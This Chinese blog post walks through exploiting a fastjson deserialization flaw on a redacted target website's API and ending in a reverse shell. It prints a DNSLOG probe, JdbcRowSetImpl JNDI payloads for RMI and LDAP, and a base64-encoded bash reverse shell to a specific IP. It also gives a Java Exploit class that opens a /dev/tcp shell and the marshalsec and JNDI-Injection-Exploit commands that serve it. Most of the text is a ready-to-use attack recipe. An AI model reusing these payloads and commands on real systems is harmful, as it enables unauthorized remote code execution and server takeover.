×

新闻动态 资料下载 奇淫技巧

fastjson反序列化漏洞反弹shell案例

0x_www 0x_www 发表于2022-05-30 16:23:03 浏览1445 评论0

抢沙发发表评论

fastjson反序列化漏洞反弹shell案例


现在最新的fastjson漏洞也出来了

最初是工作中的一次漏洞挖掘过程

目标:http://www.xxx.net/#/


QQ截图20220530162421.jpg


站点功能很多

分站也很多

挖漏洞思路还是那些套路吗

Site:网站

二级域名爆破,旁注,C段,端口,服务,登陆接口逻辑,等等

 


解析IP,查询旁站,发现一个二级域名


图片1.png



API接口发现了http://www.xxx.net/api/hotProduct/list问题

貌似是json数据


QQ截图20220530162527.jpg




于是尝试json DNSLOG.cn构造看能不能打到数据

为了方便就写了一个工具

思路是POST发送,然后利用DNSLOG,接收数据

构造一个JSON格式的:

{"zeo":{"@type":"java.net.Inet4Address","val":"3vj1ch.dnslog.cn"}}


生成一个DNSLOG


QQ截图20220530162559.jpg



执行完后返回一堆JSON数据


然后验证结果,看打到没

图片2.png



发现是成功打到了,证明存在这个漏洞,可以尝试反弹SHELL

fastjson=1.2.47版本,和fastjson 1.2.47版本反序列化漏洞

我们先来试试fastjson=1.2.47这个模块



利用格式是:

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://vps:1099/j3la6s",

        "autoCommit":true

    }

}

 



思路是利用

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTU1LjEwLjE2My85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A "公网"

 

echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTU1LjEwLjE2My85OTk5IDA+JjE=

需要进行转码和监听端口


图片3.png




然后

VPS输入

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTU1LjEwLjE2My85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A "XX"

为了方便,再编写了一个反弹的模块


图片4.png




然后进行反弹测试

NC需要监听9999端口

在接口执行

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://vps:1099/j3la6s",

        "autoCommit":true

    }

}

 



图片5.png



图片6.png




收到了信息

但是还是没能反弹成功

不知道什么原因,尝试了几次,还是失败



无奈准备尝试fastjson 1.2.47版本反序列化漏洞

需要用到

public class Exploit {

    public Exploit(){

        try{

            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/公网/1234 0>&1");

        }catch(Exception e){

            e.printStackTrace();

        }

    }

    public static void main(String[] argv){

        Exploit e = new Exploit();

    }

}




本地编译Exploit.java

图片7.png

编译后,可以执行以下,是否能正常运行

有可能会出现错误

图片8.png


这就对了,发现是可以用的

然后传到VPS

这里需要用到marshalsec-0.0.3-SNAPSHOT-all.jar工具

上传到VPS

一个三个文件,编译后会有一个CLASS文件

使用python3开启一个http服务器

python3 -m http.server 8080


图片9.png



然后使用

java -cp

marshalsec-0.0.3-SNAPSHOT-all.jar

marshalsec.jndi.RMIRefServer "http://公网:8080/#Exploit" 9999

启动ldap服务







然后在我们编写的工具模块

填入以下信息

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"lysec":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://公网:9999/#Exploit","autoCommit":true}}

NC监听1234端口



图片12.png



执行以下

图片13.png



回到VPS

发现成功反弹到shell


图片14.png



少长咸集